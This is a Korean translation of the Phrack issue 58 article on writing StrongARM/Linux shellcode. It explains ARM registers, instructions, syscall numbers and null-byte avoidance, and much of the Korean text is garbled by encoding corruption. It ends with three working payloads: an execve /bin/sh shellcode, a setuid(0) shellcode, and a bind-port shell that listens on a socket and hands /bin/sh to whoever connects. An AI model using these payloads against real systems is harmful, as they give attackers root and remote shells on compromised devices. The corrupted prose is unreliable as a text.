************************************************************************ Á¦¸ñ: StrongARM/Linux ½©ÄÚµå °³¹ß(ÇÁ·¢ 58È£) ¹ø¿ª: vangelis(http://www.wowhacker.org) * Ȥ½Ã¶óµµ ¿À¿ªÀ̳ª ¿ÀŸ ÀÖÀ¸¸é ¸»¾¸ÇØÁÖ½Ã±æ ¹Ù¶ø´Ï´Ù. ************************************************************************ ==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e |=--------------=[ StrongARM/Linux ½©ÄÚµå °³¹ßÇϱâ ]=---------------=| |=-----------------------------------------------------------------------=| |=--------------------=[ funkysh ]=----------------------=| "Into my ARMs" ---[ µµÀÔ ÀÌ ³í¹®Àº StrongARM ¸®´ª½º ½©Äڵ带 ÀÛ¼ºÇϴµ¥ ÇÊ¿äÇÑ Á¤º¸¸¦ ´ã°í ÀÖ´Ù. ÀÌ ³í¹®¿¡¼­ Á¦½ÃµÈ ¸ðµç ¿¹µéÀº µ¥ºñ¾È ¸®´ª½º°¡ ½ÇÇàµÇ´Â Intel StrongARM-1110 ÇÁ·Î¼¼½º°¡ žÀçµÈ Compaq iPAQ H3650¿¡¼­ °³¹ßµÇ¾ú´Ù. ÀÌ ¹®¼­°¡ ¿Ïº®ÇÑ ARM ¾ÆÅ°ÅØó °¡À̵峪 ¾î¼Àºí¸®¾î Æ©Å丮¾óµµ ¾Æ´Ï¶ó´Â °ÍÀ» ÁÖ¸ñÇØ¾ß Çϸç, ÇÏÁö¸¸ ÁÖ¿äÇÑ ¹ö±×¸¦ Æ÷ÇÔÇÏ°í ÀÖÁö ¾Ê±â¸¦ ¹Ù¶óÁö¸¸ StrongARMÀº ´Ù¸¥ ARM°ú ¿ÏÀüÈ÷ ȣȯµÇÁö´Â ¾Ê´Â´Ù´Â °ÍÀ» ÁÖ¸ñÇÒ ÇÊ¿ä´Â ÀÖÀ» °ÍÀÌ´Ù.(ÇÏÁö¸¸ ÀÌ°ÍÀÌ ¹®Á¦°¡ µÉ °Å¶ó°í´Â »ý°¢Áö ¾Ê´Â´Ù.) ÀÌ ¹®¼­´Â 9 ºÎºÐÀ¸·Î ³ª´©¾îÁ® ÀÖ´Ù. * ARMÀÇ °£´ÜÇÑ ¿ª»ç * ARM ¾ÆÅ°ÅØó * ARM ·¹Áö½ºÅÍ * ¸í·É ¼Â * ½Ã½ºÅÛ È£Ãâ * ÀϹÝÀûÀÎ ¿ÀÆÛ·¹ÀÌ¼Ç * Null ÇÇÇϱâ * ¿¹Á¦ ÄÚµå * Âü°í¹®Çå ---[ ARMÀÇ °£´ÜÇÑ ¿ª»ç ÃÖÃÊÀÇ ARM ÇÁ·Î¼¼½º(ARMÀº Advanced RISC MachineÀ» ÀǹÌ)´Â 80³â´ë Á߹ݿ¡ Acorn Computer Group¿¡ ÀÇÇؼ­ °í¾ÈµÇ°í Á¦Á¶µÇ¾ú´Ù. ½ÃÀÛÇÒ ¶§ÀÇ ¸ñÀûÀº ³·Àº Àü·Â ¼Òºñ·Î ³·Àº ºñ¿ëÀÇ ÇÁ·Î¼¼½º¿Í ³ôÀº ½ÇÇà´É·Â°ú Àü·Â È¿À²À» ±¸ÃàÇϱâ À§ÇÑ °ÍÀ̾ú´Ù. 1990³â¿¡ AcornÀº ¾ÖÇûç¿Í RISC Machines Ltd.¶õ ȸ»ç¸¦ ¼¼¿ü´Ù. ¿äÁòÀº ARM Ltd»ç´Â ÇÁ·Î¼¼½º¸¦ ¸¸µéÁö´Â ¾Ê°í µðÀÚÀÎÇÏ¿© Á¦ 3ÀÇ Á¦Á¶¾÷ü¿¡°Ô ÀÌ µðÀÚÀÎÀ» ¶óÀ̼¾½ºÈ­¸¸ ÇÏ°í ÀÖ´Ù. ARM Å×Å©³î·ÎÁö´Â Lucent, 3Com, HP, IBM, Sony, ±×¸®°í ¸¹Àº ´Ù¸¥ ȸ»ç¸¦ Æ÷ÇÔÇØ °Å´ëÇÑ È¸»ç¿¡ ÀÇÇØ ÇöÀç ¶óÀ̼¾½ºÈ­µÇ¾ú´Ù. StrongARMÀº ARM ÇÁ·Î¼¼½ºÀÇ ¸í·É¼ÂÀ» »ç¿ëÇÏ´Â µðÀÚÀο¡ ´ëÇÑ ARM Ltd¿Í DigitalÀÇ ÀÛ¾÷ °á°úÀÌÁö¸¸ ±×°ÍÀº Alpha ½Ã¸®ÁîÀÇ Ä¨ ±â¼ú·Î ¸¸µé¾îÁ³´Ù. DigitalÀº Ĩ Á¦Á¶ºÎºÐÀ» ÀÎÅڻ翡 ÆȾƹö·È´Ù. SA-110¿Í SA-1110¸¦ Æ÷ÇÔÇÏ¿© ÀÎÅÚ»çÀÇ StrongARMÀº [1]¿¡ Á¤ÀÇµÈ ARM v4 ¾ÆÅ°ÅØó¸¦ ±¸ÇöÇÏ°í ÀÖ´Ù. ---[ ARM ¾ÆÅ°ÅØó ARMÀº RISC ¾ÆÅ°ÅØó¿¡ µðÀÚÀÎµÈ 32ºñÆ® ¸¶ÀÌÅ©·ÎÇÁ·Î¼¼½ºÀε¥, ÀÌ°ÍÀº x86 ¶Ç´Â m68k¿Í °°Àº ÀüÇüÀûÀÎ CISC¿¡ ¹Ý´ëµÇ´Â ¸í·É¼ÂÀ» ÁÙ¿´´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÁÙ¾îµç ¸í·É¼ÂÀÇ ÀåÁ¡µéÀº º¸±â ÆÄÀÌÇÁ¶óÀÌ´× ¶Ç´Â hard-wired logicÀ» À§ÇØ »ç¿ëµÇ´Â ¼Óµµ¸¦ ÃÖÀûÈ­ÇÏ´Â °¡´É¼ºÀ» Æ÷ÇÔÇÏ°í ÀÖ´Ù. ¶ÇÇÑ ¸í·É ¹× ¾îµå·¹½Ì ¸ðµå´Â ´ëºÎºÐÀÇ ¸í·É¾îµé¿¡ ´ëÇØ µ¿ÀÏÇÏ°Ô ¸¸µé¾îÁú ¼ö ÀÖ´Ù. ARMÀº µ¥ÀÌÅÍ Ã³¸®°¡ Á÷Á¢ÀûÀ¸·Î ¸Þ¸ð¸® ³»¿ëÀÌ ¾Æ´Ï¶ó ·¹Áö½ºÅÍ ³»¿ë¿¡¸¸ ÀÛµ¿ÇÏ´Â ·Îµå/ÀúÀå ¾ÆÅ°ÅØóÀÌ´Ù. ¶ÇÇÑ Load and Store Multiple instruction°ú ¸ðµç ¸í·É¾îÀÇ Á¶°ÇºÎ ½ÇÇà°ú °°Àº Ãß°¡ ±â´ÉÀ» Áö¿øÇÑ´Ù. ºÐ¸í ¸ðµç ¸í·ÉÀº 32ºñÆ®ÀÇ ±æÀ̸¦ °¡Áö°í ÀÖ´Ù. ---[ ARM ·¹Áö½ºÆ® ARMÀº 16°³ÀÇ °¡½ÃÀûÀÎ 32ºñÆ® ·¹Áö½ºÆ®(r0¿¡¼­ r14 ¹× r15(pc))¸¦ °¡Áö°í ÀÖ´Ù. °£´ÜÈ÷ ¸»Çϸé 13°³ÀÇ 'ÀϹÝÀûÀÎ ¸ñÀû'ÀÇ ·¹Áö½ºÆ®ÀÎ r0¿¡¼­ r12±îÁö¿Í 3°³ÀÇ 'Ưº°ÇÑ' ¸ñÀû(»ç½Ç 15°³ ¸ðµÎ ÀϹÝÀûÀÎ ¸ñÀûÀ» À§ÇÑ °ÍÀÌ´Ù)À» À§ÇØ ¿¹¾àµÇ¾î ÀÖ´Ù. r13 (sp) - ½ºÅà Æ÷ÀÎÅÍ r14 (lr) - ¸µÅ© ·¹Áö½ºÅÍ r15 (pc/psr) - ÇÁ·Î±×·¥ counter/status ·¹Áö½ºÅÍ sp·Î ¾Ë·ÁÁø ·¹Áö½ºÅÍ r13Àº ½ºÅà Æ÷ÀÎÅÍ·Î »ç¿ëµÇ°í, ¸µÅ© ·¹Áö½ºÅÍ¿Í ´õºÒ¾î µÑ ´Ù ARM ¾î¼Àºí¸®¾î¿¡¼­ ÇÔ¼ö ¶Ç´Â ¼­ºê·çƾÀ» ±¸ÇöÇϴµ¥ »ç¿ëµÈ´Ù. lr·Î ¾Ë·ÁÁø ¸µÅ© ·¹Áö½ºÅÍ r14´Â ¼­¹ö·çƾ ¸®ÅÏ ¾îµå·¹½º¸¦ ´ã±â À§ÇØ »ç¿ëµÈ´Ù. ¼­ºê·çƾ È£ÃâÀÌ ¿¹¸¦ µé¾î bl ¸í·É¿¡ ÀÇÇØ ¼öÇàµÉ ¶§ r14´Â ¼­¹ö·çƾÀÇ ¸®ÅÏ ¾îµå·¹½º·Î ¼³Á¤µÈ´Ù. ±×·± ´ÙÀ½ ¼­¹ö·çƾ ¸®ÅÏÀº r14¸¦ ÇÁ·Î±×·¥ Ä«¿îÅÍ ¾ÈÀ¸·Î ´Ù½Ã º¹»çÇÔÀ¸·Î½á ¼öÇàµÈ´Ù. ARM »ó¿¡¼­ ½ºÅÃÀº ³·Àº ¸Þ¸ð¸® ÁÖ¼Ò·Î ÀÚ¶ó°í, ½ºÅà Æ÷ÀÎÅÍ´Â ±×°Í¿¡ ¾²¿©Áø ¸¶Áö¸· ¾ÆÀÌÅÛÀ» °¡¸®Å°´Âµ¥, ÀÌ°ÍÀº "full descending stack"À̶ó°í ºÒ¸°´Ù. ¿¹¸¦ µé¾î, ½ºÅÿ¡ 0x41À» À§Ä¡½ÃÅ°°í, ±×·± ´ÙÀ½ 0x42¸¦ À§Ä¡½ÃÅ°´Â °ÍÀº ´ÙÀ½°ú °°´Ù. ¸Þ¸ð¸® ÁÖ¼Ò ½ºÅà °ª +------------+ 0xbffffdfc: | 0x00000041 | +------------+ sp -> 0xbffffdf8: | 0x00000042 | +------------+ ---[ ¸í·É ¼Â À§¿¡¼­ ¾²¿©Áø °Íó·³ ´ëºÎºÐÀÇ ´Ù¸¥ RISC CPUµé°ú ¸¶Âù°¡Áö·Î ARMÀº °íÁ¤µÈ ±æÀÌ(ÀÌ °æ¿ì 32 ºñÆ®)ÀÇ ¸í·ÉÀ» °¡Áö°í ÀÖ´Ù. ¶ÇÇÑ ¸ðµç ¸í·ÉÀº Á¶°ÇºÎ¶ó´Â °Íµµ ¾ð±ÞµÇ¾ú´Ù. ±×·¡¼­ ºñÆ® ±¸Çö¿¡¼­ À§ÀÇ 4°³ÀÇ ºñÆ®(31~28)´Â ¸í·ÉÀÌ ½ÇÇàµÇ´Â »óȲÀº ÁöÁ¤Çϴµ¥ »ç¿ëµÈ´Ù. ¿ì¸®¿¡°Ô Èï¹Ì·Î¿î ¸í·ÉÀº 4°¡Áö·Î ³ª´©¾îÁú ¼ö ÀÖ´Ù. - branch ¸í·É - ·Îµå ¹× ÀúÀå ¸í·É - µ¥ÀÌÅÍ Ã³¸® ¸í·É - ¿¹¿Ü »ý¼º ¸í·É Status register¿¡ ´ëÇÑ °ÍÀº ¿©±â¼­ Á¦¿ÜÇß´Ù. 1. Branch ¸í·É ------------ µÎ °¡Áö branch ¸í·ÉÀÌ ÀÖ´Ù: branch: b <24 bit signed offset> branch with link: bl <24 bit signed offset> 'branch with link'¸¦ ½ÇÇàÇÏ´Â °ÍÀº ´ÙÀ½ ¸í·ÉÀÇ ÁÖ¼Ò¿Í ÇÔ²² 'lr'À» ¼³Á¤ÇÏ´Â °á°ú¸¦ °¡Á®¿Â´Ù. 2. µ¥ÀÌÅÍ Ã³¸® ¸í·É ---------------- µ¥ÀÌÅÍ Ã³¸® ¸í·ÉÀº ÀϹÝÀûÀ¸·Î 3°¡Áö ÁÖ¼ÒÀÇ Æ÷¸ËÀ» »ç¿ëÇÑ´Ù. DestinationÀº Ç×»ó ·¹Áö½ºÅÍÀ̸ç, operand 1Àº r0¿¡¼­ºÎÅÍ r15 ·¹Áö½ºÅͱîÁö ÁßÀÇ ÇϳªÀ̾î¾ß¸¸ ÇÏ°í, operand 2´Â ·¹Áö½ºÅÍ, À̵¿µÈ ·¹Áö½ºÅÍ ¶Ç´Â Á÷Á¢ÀûÀÎ °ªÀÌ µÉ ¼öµµ ÀÖ´Ù. ¸î °¡Áö ¿¹µé: -----------------------------+----------------+--------------------+ addition: add | add r1,r1,#65 | set r1 = r1 + 65 | substraction: sub | sub r1,r1,#65 | set r1 = r1 - 65 | logical AND: and | and r0,r1,r2 | set r0 = r1 AND r2 | logical exclusive OR: eor | eor r0,r1,#65 | set r0 = r1 XOR r2 | logical OR: orr | orr r0,r1,r2 | set r0 = r1 OR r2 | move: mov | mov r2,r0 | set r2 = r0 | 3. ·Îµå ¹× ÀúÀå ¸í·É ----------------- load register from memory: ldr rX,
¿¹: ldr r0, [r1]´Â r1¿¡¼­ ÁöÁ¤µÈ ¾îµå·¹½º·ÎºÎÅÍ 32ºñÆ®ÀÇ ´Ü¾î¿Í ÇÔ²² r0À» ·ÎµåÇϸç, ¶ÇÇÑ 8ºñÆ®¸¦ ·ÎµùÇÏ´Â °Í¿¡ ´ëÇÑ Ã¥ÀÓÀÌ ÀÖ´Â ldrb ¸í·Éµµ ÀÖÀ¸¸ç, ¸Þ¸ð¸®¿¡ ·¹Áö½ºÅ͸¦ ÀúÀåÇÏ´Â °ÍÀ» À§ÇÑ À¯»çÇÑ ¸í·Éµµ ÀÖ´Ù. store register in memory: str rX,
(store 32 bits) strb rX,
(store 8 bits) ARM´Â ¶ÇÇÑ ´Ù¾çÇÑ ·¹Áö½ºÅ͵éÀ» ÀúÀåÇÏ°í ·ÎµùÇÏ´Â °Íµµ Áö¿øÇϴµ¥, ÃÖÀûÈ­¶ó´Â °üÁ¡¿¡¼­´Â ¾ÆÁÖ Èï¹Ì·Î¿î ±â´ÉÀ̸ç, ´ÙÀ½Àº stm(¸Þ¸ð¸®¿¡ ´Ù¾çÇÑ ·¹Áö½ºÅ͸¦ ÀúÀåÇÑ´Ù)ÀÌ´Ù. stm (!),{register list} º£À̽º ·¹Áö½ºÅÍ´Â ¾î¶² ·¹Áö½ºÅÍ¿¡ ÀÇÇؼ­µµ »ç¿ëµÉ ¼ö ÀÖÁö¸¸ ÀüÇüÀûÀ¸·Î ½ºÅà Æ÷ÀÎÅÍ°¡ »ç¿ëµÈ´Ù. ¿¹¸¦ µé¾î, stmfd sp!, {r0-r3, r6}´Â ·¹Áö½ºÅÍ r0, r1, r2, r3 ±×¸®°í r6À» ½ºÅÿ¡ ÀúÀåÇϸç(full descending ¸ðµå·Î - stm ´ÙÀ½¿¡ Ãß°¡ ¿¬»ó±âÈ£ "fd"¸¦ ÁÖ¸ñÇÒ °Í), ½ºÅà Æ÷ÀÎÅÍ´Â r0 ·¹Áö½ºÅÍ°¡ ÀúÀåµÈ °÷À» °¡¸®Å³ °ÍÀÌ´Ù. ¸Þ¸ð¸®·ÎºÎÅÍ ´Ù¾çÇÑ ·¹Áö½ºÅ͸¦ ·ÎµùÇϱâ À§ÇÑ ¸í·ÉÀº ldmÀÌ´Ù. 4. ¿¹¿Ü»ý¼º ¸í·É ------------- Software interrupt: swi ´Â ¿ì¸®¿¡°Ô À¯ÀÏÇÏ°Ô Èï¹Ì·Î¿î ºÎºÐÀε¥, ¼ÒÇÁÆ®¿þ¾î ÀÎÅÍ·´Æ® ¿¹¿Ü¸¦ ¼öÇàÇϸç, ±×°ÍÀº ½Ã½ºÅÛ È£Ãâ·Î »ç¿ëµÈ´Ù. ÀÌ Àå¿¡¼­ Á¦½ÃµÈ ¸í·É ¸ñ·ÏÀº ¿ÏÀüÇÑ °ÍÀÌ ¾Æ´Ï¸ç, Àüü ¼ÂÀº [1]·ÎºÎÅÍ ±¸ÇÒ ¼ö ÀÖ´Ù. ---[ ½Ã½ºÅÛ È£Ãâ StronARM ÇÁ·Î¼¼½º°¡ žÀçµÈ ¸®´ª½º¿¡¼­ syscall º£À̽º´Â 0x900000À¸·Î À̵¿Çϴµ¥, ÀÌ°ÍÀº ½©ÄÚµå ÀÛ¼ºÀڵ鿡°Ô´Â ÁÁÀº Á¤º¸´Â ¾Æ´Ï´Ù. ¿Ö³ÄÇϸé Á¦·Î ¹ÙÀÌÆ®¸¦ Æ÷ÇÔÇÑ ¸í·É opcode¸¦ ´Ù·ç¾î¾ß Çϱ⠶§¹®ÀÌ´Ù. º¸±â "exit" syscallÀº ´ÙÀ½°ú °°´Ù. swi 0x900001 [ 0xef900001 ] ´ÙÀ½Àº ½©Äڵ带 ÀÛ¼ºÇÒ ¶§ »ç¿ëµÉ ¼ö ÀÖ´Â syscallÀÇ ¸ñ·ÏÀÌ´Ù.(syscallÀÇ ¸®ÅÏ°ªÀº º¸Åë r0¿¡ ÀúÀåµÈ´Ù.) execve: ------- r0 = const char *filename r1 = char *const argv[] r2 = char *const envp[] call number = 0x90000b setuid: ------- r0 = uid_t uid call number = 0x900017 dup2: ----- r0 = int oldfd r1 = int newfd call number = 0x90003f socket: ------- r0 = 1 (SYS_SOCKET) r1 = ptr to int domain, int type, int protocol call number = 0x900066 (socketcall) bind: ----- r0 = 2 (SYS_BIND) r1 = ptr to int sockfd, struct sockaddr *my_addr, socklen_t addrlen call number = 0x900066 (socketcall) listen: ------- r0 = 4 (SYS_LISTEN) r1 = ptr to int s, int backlog call number = 0x900066 (socketcall) accept: ------- r0 = 5 (SYS_ACCEPT) r1 = ptr int s, struct sockaddr *addr, socklen_t *addrlen call number = 0x900066 (socketcall) ---[ ÀϹÝÀûÀÎ ¿ÀÆÛ·¹ÀÌ¼Ç ³ôÀº °ª ·ÎµùÇϱâ --------------- ARM »óÀÇ ¸ðµç ¸í·ÉµéÀÌ opcode, condition, ±×¸®°í ·¹Áö½ºÆ® ¹øÈ£µéÀ» À§ÇÑ °ø°£À» Æ÷ÇÔÇØ 32ºñÆ® ´Ü¾î¸¦ Â÷ÁöÇϱ⠶§¹®¿¡ ÇϳªÀÇ ¸í·ÉÀ¸·Î ·¹Áö½ºÅÍ ¼ÓÀ¸·Î Á÷Á¢ÀûÀ¸·Î ³ôÀº °ªÀ» ·ÎµùÇÒ ¹æ¹ýÀÌ ¾ø´Ù. ÀÌ ¹®Á¦´Â 'shifting'À̶ó°í ºÒ¸®´Â ±â´É¿¡ ÀÇÇØ ÇØ°áµÉ ¼ö ÀÖ´Ù. ARM ¾î¼Àºí·¯´Â ¿©¼¸ °³ÀÇ ´Ù¸¥ shift ŸÀÔ¿¡ ´ëÇØ Ã¥ÀÓÀ» Áö°í ÀÖ´Â ¿©¼¸ °³ÀÇ Ãß°¡ ¿¬»ó±âÈ£¸¦ »ç¿ëÇÑ´Ù. lsl - logical shift left asl - arithmetic shift left lsr - logical shift right asr - arithmetic shift right ror - rotate right rrx - rotate right with extend ShifterµéÀº µ¥ÀÌÅÍ Ã³¸® ¸í·ÉµéÀ̳ª ¶Ç´Â ldr ¹× str ¸í·É°ú ÇÔ²² »ç¿ëµÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î, 0x900000À¸·Î r0À» ·ÎµùÇϱâ À§ÇØ ¿ì¸®´Â ´ÙÀ½ ¿ÀÆÛ·¹À̼ÇÀ» ¼öÇàÇÑ´Ù. mov r0, #144 ; 0x90 mov r0, r0, lsl #16 ; 0x90 << 16 = 0x900000 À§Ä¡ µ¶¸³ --------- ÀÚ½ÅÀÇ ÄÚµå À§Ä¡¸¦ ȹµæÇÏ´Â °ÍÀº ¾ÆÁÖ ½¬¿îµ¥, ÀÌ°ÍÀº pc°¡ ÀϹÝÀûÀÎ ¸ñÀûÀÇ ·¹Áö½ºÅÍÀÌ°í, ¾î¶² ¼ø°£¿¡¶óµµ ÀÐÇôÁú ¼ö Àְųª ¾Æ´Ï¸é ¸Þ¸ð¸®ÀÇ ¾î¶² ÁÖ¼Ò ¾ÈÀ¸·Î jump¸¦ ¼öÇàÇϱâ À§ÇØ 32ºñÆ® °ªÀ¸·Î ·ÎµùµÉ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ¿¹¸¦ µé¾î, ´ÙÀ½À» ½ÇÇàÇÑ ÀÌÈÄ: sub r0, pc, #4 ´ÙÀ½ ¸í·ÉÀÇ ÁÖ¼Ò´Â ·¹Áö½ºÆ® r0¿¡ ÀúÀåµÉ °ÍÀÌ´Ù. ¶Ç ´Ù¸¥ ÇÑ ¹æ¹ýÀº ¸µÅ© ¸í·ÉÀ¸·Î branch¸¦ ½ÇÇàÇÏ´Â °ÍÀÌ´Ù: bl sss swi 0x900001 sss: mov r0, lr ÀÌÁ¦ r0 Àº "swi 0x900001"¸¦ °¡¸®Å²´Ù. ·çÇÁ ----- ¾î¶² ¸í·ÉÀ» ¼¼ ¹ø ½ÇÇàÇϱâ À§ÇØ ·çÇÁ¸¦ ¸¸µé±æ ¿øÇÑ´Ù°í ¸»Çغ¸ÀÚ. ÀüÇüÀûÀÎ ·çÇÁ´Â ´ÙÀ½°ú °°ÀÌ ±¸¼ºµÈ´Ù. mov r0, #3 <- loop counter loop: ... sub r0, r0, #1 <- fd = fd -1 cmp r0, #0 <- check if r0 == 0 already bne loop <- goto loop if no (if Z flag != 1) ÀÌ ·çÇÁ´Â r0ÀÌ 0¿¡ µµ´ÞÇÒ ¶§ ¿ì¸®¸¦ À§ÇØ Z Ç÷¡±×¸¦ ¼³Á¤ÇÒ subs ¸í·ÉÀ» »ç¿ëÇÏ¿© ÃÖÀûÈ­µÉ ¼ö ÀÖÀ¸¸ç, ±×·¡¼­ ¿ì¸®´Â cmp¸¦ Á¦°ÅÇÒ ¼ö ÀÖ´Ù. mov r0, #3 loop: ... subs r0, r0, #1 bne loop Nop ¸í·É --------- ARM¿¡¼­ "mov r0, r0"´Â nopÀ¸·Î »ç¿ëµÈ´Ù. ÇÏÁö¸¸ ±×°ÍÀº nullµéÀ» Æ÷ÇÔÇÏ°í ÀÖ¾î ¾î¶² ´Ù¸¥ "neutral" ¸í·ÉÀº Ãë¾àÁ¡µé¿¡ ´ëÇÑ °³³ä Äڵ带 ÀÔÁõÇϱâ À§ÇØ ÀÛ¼ºÇÒ ¶§ »ç¿ëµÇ¾î¾ß Çϸç, "mov r1, r1"ÀÌ ÇÑ ¿¹ÀÌ´Ù. mov r1, r1 [ 0xe1a01001 ] ---[ Null ÇÇÇϱâ r0 ·¹Áö½ºÅ͸¦ »ç¿ëÇÏ´Â ¾î¶² ¸í·Éµµ ARM¿¡ 'zero'¸¦ »ý¼ºÇϴµ¥, ÀÌ°ÍÀº º¸Åë ±×°ÍÀ» ´Ù¸¥ ¸í·ÉÀ¸·Î ´ëüÇϰųª ½º½º·Î º¯°æÇÏ´Â Äڵ带 »ç¿ëÇÏ¿© ÇØ°áµÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î: e3a00041 mov r0, #65 ´Â ´ÙÀ½À¸·Î ´ëüµÉ ¼ö ÀÖ´Ù: e0411001 sub r1, r1, r1 e2812041 add r2, r1, #65 e1a00112 mov r0, r2, lsl r1 (r0 = r2 << 0) SyscallÀº ´ÙÀ½°ú °°ÀÌ ÆÐÄ¡µÉ ¼ö ÀÖ´Ù.: e28f1004 add r1, pc, #4 <- get address of swi e0422002 sub r2, r2, r2 e5c12001 strb r2, [r1, #1] <- patch 0xff with 0x00 ef90ff0b swi 0x90ff0b <- crippled syscall ºñ·Ï r0 ·¹Áö½ºÅÍ°¡ »ç¿ëµÇÁö ¾Ê´Â´Ù ÇÏ´õ¶óµµ Store/Load multipleµµ ¶ÇÇÑ 'zero'¸¦ »ý¼ºÇÑ´Ù: e92d001e stmfd sp!, {r1, r2, r3, r4} ´ÙÀ½ ¼½¼Ç¿¡¼­ Á¦½ÃµÈ ¿¹Á¦ Äڵ忡¼­ ³ª´Â ¸µÅ© ·¹Áö½ºÅÍ¿Í ÇÔ²² ÀúÀåÇϱ⸦ »ç¿ëÇß´Ù: e04ee00e sub lr, lr, lr e92d401e stmfd sp!, {r1, r2, r3, r4, lr} ---[ ¿¹Á¦ ÄÚµå /* * 47 byte StrongARM/Linux execve() shellcode * funkysh */ char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */ "\x1c\x30\x8f\xe2" /* add r3, pc, #28 (0x1c) */ "\x04\x30\x8d\xe5" /* str r3, [sp, #4] */ "\x08\x20\x8d\xe5" /* str r2, [sp, #8] */ "\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */ "\x07\x20\xc3\xe5" /* strb r2, [r3, #7 */ "\x04\x30\x8f\xe2" /* add r3, pc, #4 */ "\x04\x10\x8d\xe2" /* add r1, sp, #4 */ "\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */ "\x0b\x0b\x90\xef" /* swi 0x90ff0b */ "/bin/sh"; /* * 20 byte StrongARM/Linux setuid() shellcode * funkysh */ char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */ "\x04\x10\x8f\xe2" /* add r1, pc, #4 */ "\x12\x02\xa0\xe1" /* mov r0, r2, lsl r2 */ "\x01\x20\xc1\xe5" /* strb r2, [r1, #1] */ "\x17\x0b\x90\xef"; /* swi 0x90ff17 */ /* * 203 byte StrongARM/Linux bind() portshell shellcode * funkysh */ char shellcode[]= "\x20\x60\x8f\xe2" /* add r6, pc, #32 */ "\x07\x70\x47\xe0" /* sub r7, r7, r7 */ "\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */ "\x01\x30\x87\xe2" /* add r3, r7, #1 */ "\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */ "\x01\x20\x83\xe2" /* add r2, r3, #1 */ "\x07\x40\xa0\xe1" /* mov r4, r7 */ "\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */ "\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */ "\x0d\x10\xa0\xe1" /* mov r1, sp */ "\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */ "\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */ "\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */ "\x14\x20\xa0\xe3" /* mov r2, #20 */ "\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */ "\x02\x20\x82\xe2" /* add r2, r2, #2 */ "\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */ "\x10\x30\xa0\xe3" /* mov r3, #16 */ "\x0d\x20\xa0\xe1" /* mov r2, sp */ "\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */ "\x02\x20\xa0\xe3" /* mov r2, #2 */ "\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */ "\x0d\x10\xa0\xe1" /* mov r1, sp */ "\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */ "\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */ "\x02\x20\x82\xe2" /* add r2, r2, #2 */ "\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */ "\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */ "\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */ "\x01\x20\x82\xe2" /* add r2, r2, #1 */ "\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */ "\x04\x70\x8d\xe5" /* str r7, [sp, #4] */ "\x08\x70\x8d\xe5" /* str r7, [sp, #8] */ "\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */ "\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */ "\x02\x10\xa0\xe3" /* mov r1, #2 */ "\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */ "\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 */ "\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */ "\x01\x10\x51\xe2" /* subs r1, r1, #1 */ "\xfb\xff\xff\x5a" /* bpl */ "\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */ "\x14\x30\x8f\xe2" /* add r3, pc, #20 */ "\x04\x30\x8d\xe5" /* str r3, [sp, #4] */ "\x04\x10\x8d\xe2" /* add r1, sp, #4 */ "\x02\x20\x42\xe0" /* sub r2, r2, r2 */ "\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */ "\x08\x20\x8d\xe5" /* str r2, [sp, #8] */ "\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */ "/bin/sh"; ---[ Âü°í¹®Çå: [1] ARM Architecture Reference Manual - Issue D, 2000 Advanced RISC Machines LTD [2] Intel StrongARM SA-1110 Microprocessor Developer's Manual, 2001 Intel Corporation [3] Using the ARM Assembler, 1988 Advanced RISC Machines LTD [4] ARM8 Data Sheet, 1996 Advanced RISC Machines LTD |=[ EOF ]=---------------------------------------------------------------=|